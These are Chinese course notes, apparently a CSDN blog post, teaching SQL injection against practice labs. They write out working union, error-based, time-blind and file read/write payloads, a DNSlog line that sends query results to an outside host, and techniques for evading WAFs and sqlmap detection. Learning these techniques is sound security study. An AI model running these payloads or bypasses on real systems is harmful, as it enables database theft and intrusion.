小迪渗透&WEB漏洞(叁-壹)


视频资源

SQL注入(11-19)

11. 漏洞介绍

在这里插入图片描述

11.1 PHP 遍历一个文件夹下所有文件和子文件夹的方法

<?php
function my_dir($dir) {
	$files = [];
	if(@$handle = opendir($dir)) {
		while(($file = readdir($handle)) !== false) {
			if($file != ".." && $file != ".") {
				if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
					$files[$file] = my_dir($dir . "/" . $file);
				} else {
					$files[] = $file;
				}
			}
		}
        closedir($handle);
    }
	return $files;
}

echo "<pre>";
print_r(my_dir("./"));
echo "</pre>";

如果报错:PHP Parse error: syntax error, unexpected ‘[’ in /usercode/file.php on line 4,切换到拍php 5.4 及以上版本就可以了

资源

https://github.com/zhuifengshaonianhanlu/pikachu------靶场

pikachu靶场笔记
1. 环境搭建&暴力破解
2. pikachu靶场&XSS(二)
3. pikachu靶场&CSRF&SQL注入(三)
4. pikachu靶场&RCE&文件包含&上传下载&越权(四)
5. pikachu靶场&目录遍历&信息泄露&反序列化&XXE&重定向&SSRF(五)

12. 认识SQL注入

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。
如果代码中没有过滤或者过滤不严谨是会出现漏洞的。
在这里插入图片描述

  • 下列链接可能存在注入,第四是post提交,也会存在注入。
    在这里插入图片描述
  • 下列2、3测试正确,x有注入就在x后面测试。
    在这里插入图片描述

12.1 注入时信息收集

在这里插入图片描述

判断注入
and 1=1	正常
and 1=2	错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效

补充:order by和group by的区别
order by 默认是升序

  • 在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。
    在这里插入图片描述
  • 数据库中“.”代表下级
  • select * information_schema.tables;记录所有表名
  • where table_name=''筛选条件
  • select * from information_schema.columns;记录所有的列名
  • where column_name=''筛选条件
  • wherw table_schema=''筛选条件

信息收集

  • 判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,…
  • 查询数据库 version()
  • 数据库名字 databaase()
  • 数据库用户 user()
  • 操作系统 @@version_compile_os

13. MySQL注入

在这里插入图片描述
在这里插入图片描述

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库
    在这里插入图片描述
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'获取特定数据库表名
    在这里插入图片描述
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取特定数据库特定表列数据
    在这里插入图片描述
    *http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据
    在这里插入图片描述
文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、

http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3读取本地文件
在这里插入图片描述
http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+本地文件写入
在这里插入图片描述
参考:magic_quotes_gpc(魔术引号开关)等函数与数据库安全

  • magic_quotes_gpc
  • 当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线
    在这里插入图片描述

14. SQL注入之类型提交注入

在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
在这里插入图片描述

#简要明确参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中

#简要明确请求方法|
GET, POST, COOKIE, REQUEST, HTTP头等

其中SQI语句干扰符号:  ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法
  • JSON数据形式
    在这里插入图片描述

15. SQL注入之Oracle、MongoDB等注入

在这里插入图片描述
在这里插入图片描述

  • 下图中json的双引号不需要闭合,需要闭合的是SQL语句中的单引号或双引号。
    在这里插入图片描述
简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下

数据库架构组成,数据库高权限操作

简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等
access结构
		表名
				列名
						数据
mysql、mssql等
		数据库A
				表名
						列名
								数据
		数据库B
				。。。
						。。。	
								。。。

15.1 Access注入测试

在这里插入图片描述

  • sqlmap会误报,如下图
    在这里插入图片描述
  • 手动测试,因为asses没有数据库,可以直接查数据
    在这里插入图片描述

15.2 Sql Server

  • 我们获取的数据库权限会影响我们的下一步的测试思路
  • 高权限直接测试
  • 低权限就一步一步获取数据
    在这里插入图片描述

15.3 sqlmap测试

在这里插入图片描述
sqlmap全参数详解

15.4 Oracle数据库

在这里插入图片描述
参考:Oracle注入总结

15.5 MongoDB

  • MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
  • MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用JSON传输。

NoSQL Attack 支持此数据库的注入测试,它运行在linux下
在这里插入图片描述

  • tojson函数可以输出json数据

涉及资源

https://www.cnblogs.com/xishaonian/p/6173644.html
https://www.cnblogs.com/bmjoker/p/9326258.html
https://github.com/youngyangyang04/NoSQL Attack linux环境下支持MongoDB的工具,P14
https://github.com/sqlmapproject/sqlmap
https://blog.csdn.net/qq_39936434/category_9103379.html
https://blog.csdn.net/hack8/article/details/6427911

16. WEB漏洞-SQL注入之查询方式及报错盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')

delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id 

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

pikachu漏洞练习平台
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断
regexp, like, ascii, left, ord, mid

基于时间的SQL盲注-延时判断
if, sleep

基于报错的SQL盲注-报错回显
floor, updatexml,extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

参考:
like 'ro%'					#判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' 		#匹配xiaodi及xiaodi...等
if(条件,5,0)				#条件成立返回5反之返回0
sleep(5)					#sQI语句延时执行5秒
mid(a,b,c)					#从位置b开始,截取a字符串的c位
substr(a,b,c)				#从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 		#判断数据库database ()名的长度
ord=ascii ascii(x)=97 		#判断x的asci i码是否等于97
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit 

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit


pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

16.1 判断注入点

在这里插入图片描述
这四个位置都会接收我们传过去的数值,正常都可以作为注入点,只要可以对测试代码作出反应就可以。

16.2 针对无回显的布尔、延迟

mysql_fetch_array:无回显函数

SQL注入

延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
  • 数据库是security就延时5秒,否则不延迟
    在这里插入图片描述
  • 判断数据库位数
    在这里插入图片描述

补充

ccess偏移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

涉及资源

https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c

17. SQL注入之二次,加解密,DNS等注入

在这里插入图片描述

DNSlog:解决了盲注不能回显数据,效率低的问题

17.1 二次注入

在这里插入图片描述
在这里插入图片描述

  • 第一个是原有的,第二个是我们注册的,当我们修改第二个的密码的时候,由于存在‘#,数据库会判断错误,相当于修改了第一个的密码。
    在这里插入图片描述
    在这里插入图片描述

17.2 DNSlog

  • DNSlog可以解决无回显问题
  • mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)

在这里插入图片描述

在这里插入图片描述

将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload; 
file_get_contents($urls);
echo $urls;
?>

涉及资源

http:/ceye.io/
https://github.com/ADOOO/DnslogSqlinj

18. SQL注入之堆叠及WAF绕过注入

在这里插入图片描述

  • 堆叠注入:就是一堆sql语句一起执行,语句中一个 ; 表示语句结束,那多个语句连接到一起执行。
    在这里插入图片描述

18.1 应用场景

堆叠注入

  • 注入需要管理员帐号密码,密码是加密,无法解密
  • 堆叠注入时插入数据,用户密码自定义的,可以正常解密登录

特殊符号

  • 某些符号并不影响sql语句执行,但可以绕过waf检测
    在这里插入图片描述
    在这里插入图片描述

18.2 演示案例

  • Sqlilabs-Less38-堆叠注入(多语句)
  • WAF部署-安全狗,宝塔等waf搭建部署
  • 简要讲解安全狗,宝塔等防护waf策略规则
  • 简要演示安全狗bypass sqlinject防护规则
  • 实测简易CMS头部注入漏洞Bypass原理分析

安全狗拦截

  • 安全狗的一些防护策略
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 可以绕过安全狗

    在这里插入图片描述

  • 可以换提交方式来绕过

用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

用来分割语句的符号
/*!*/

原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf
 

参数污染

如果出现多个相同参数,不同的服务器搭建网站会出现参数接受的差别,从而令原有的参数失效。
在这里插入图片描述

涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686

19. SQL注入之SQLMAP绕过WAF

在这里插入图片描述

  • 在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,绕过安全防御措施进行漏洞利用。

19.1 绕过的方法-白名单

方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent 
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
payload

%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

%23x%0aunion%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3    /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/				特殊符号

%20union%20all%23%0a%20select%201,2,3%23

有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具

  • sqlmap发的包带了自己的工具头
    在这里插入图片描述

  • 判定方法一:WAF日志
    在这里插入图片描述

  • 判定方法二:WAF防护规则
    在这里插入图片描述

  • 判定方法三:抓包
    在这里插入图片描述

  • 解决方法:

  • 思路一:采用salmap的随机agent头方法
    在这里插入图片描述

  • 思路二:采用搜索引擎的头
    在这里插入图片描述

  • 指定采用百度的头
    在这里插入图片描述

在这里插入图片描述
SQLMap说明

扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只是修改一个)
扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)

19.2 采用工具注入会被拉黑

  • 解决方法一:采用延时注入
    在这里插入图片描述
  • 解决方法二:采用代理池
  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值